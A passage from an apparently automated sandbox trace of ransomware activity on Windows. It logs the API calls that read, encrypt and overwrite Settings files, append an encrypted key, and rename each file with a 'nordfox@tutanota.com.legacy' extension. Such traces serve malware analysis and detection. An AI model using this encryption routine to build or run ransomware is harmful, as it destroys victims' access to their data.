"c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_display_dpi_override.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_DPI_Override.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_display_dpi_override.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.440] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.440] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.440] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_Brightness.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.440] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4d0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d0, lpOverlapped=0x0) returned 1 [0197.441] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.441] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d0, lpOverlapped=0x0) returned 1 [0197.442] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d0 [0197.442] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.442] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.442] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.442] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.443] CloseHandle (hObject=0x1c24) returned 1 [0197.443] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_Brightness.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_display_brightness.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_Brightness.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_display_brightness.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.445] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.445] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0197.445] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_AdvancedSettings.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.445] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f16d8, nNumberOfBytesToRead=0x4ee, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f16d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x4ee, lpOverlapped=0x0) returned 1 [0197.451] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1262, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.451] WriteFile (in: hFile=0x1c24, lpBuffer=0x30f1be0*, nNumberOfBytesToWrite=0x4ee, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f1be0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4ee, lpOverlapped=0x0) returned 1 [0197.451] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4ee [0197.451] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.452] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.452] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.452] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.452] CloseHandle (hObject=0x1c24) returned 1 [0197.453] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_AdvancedSettings.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_display_advancedsettings.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Display_AdvancedSettings.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_display_advancedsettings.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.455] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0197.455] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0197.455] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Device_Add.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.456] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6ac0, nNumberOfBytesToRead=0x4a1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6ac0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4a1, lpOverlapped=0x0) returned 1 [0197.458] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1185, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.458] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4a1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4a1, lpOverlapped=0x0) returned 1 [0197.459] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4a1 [0197.459] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.459] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.459] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.459] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.460] CloseHandle (hObject=0x1c24) returned 1 [0197.460] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Device_Add.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_device_add.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Device_Add.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_device_add.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.461] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0197.462] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.462] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Devices_Pen_SetHandedness.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.462] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x4db, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4db, lpOverlapped=0x0) returned 1 [0197.463] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1243, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.463] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4db, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4db, lpOverlapped=0x0) returned 1 [0197.463] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4db [0197.463] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.464] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.464] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.464] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.464] CloseHandle (hObject=0x1c24) returned 1 [0197.464] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Devices_Pen_SetHandedness.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_devices_pen_sethandedness.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Devices_Pen_SetHandedness.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_devices_pen_sethandedness.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.466] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.466] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0197.466] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Devices_Pen_EnableRipple.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.466] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x4d6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d6, lpOverlapped=0x0) returned 1 [0197.468] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1238, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.468] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4d6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d6, lpOverlapped=0x0) returned 1 [0197.468] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d6 [0197.468] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.468] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.468] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.468] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.469] CloseHandle (hObject=0x1c24) returned 1 [0197.469] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Devices_Pen_EnableRipple.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_devices_pen_enableripple.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Devices_Pen_EnableRipple.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_devices_pen_enableripple.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.471] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.471] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0197.471] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Devices_Pen_EnablePixie.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.471] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4d1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d1, lpOverlapped=0x0) returned 1 [0197.472] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1233, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.473] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4d1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d1, lpOverlapped=0x0) returned 1 [0197.473] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d1 [0197.473] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.473] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.473] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.474] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.474] CloseHandle (hObject=0x1c24) returned 1 [0197.475] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Devices_Pen_EnablePixie.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_devices_pen_enablepixie.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Devices_Pen_EnablePixie.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_devices_pen_enablepixie.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.477] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0197.477] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.477] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DefaultApps_Video.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.478] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4bd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4bd, lpOverlapped=0x0) returned 1 [0197.479] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1213, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.479] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4bd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4bd, lpOverlapped=0x0) returned 1 [0197.479] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4bd [0197.480] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.480] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.480] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.480] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.480] CloseHandle (hObject=0x1c24) returned 1 [0197.481] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DefaultApps_Video.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_defaultapps_video.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DefaultApps_Video.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_defaultapps_video.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.482] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.482] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0197.483] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_DefaultApps_Photos.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.485] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4c2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4c2, lpOverlapped=0x0) returned 1 [0197.490] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.490] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4c2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4c2, lpOverlapped=0x0) returned 1 [0197.491] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4c2 [0197.491] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, 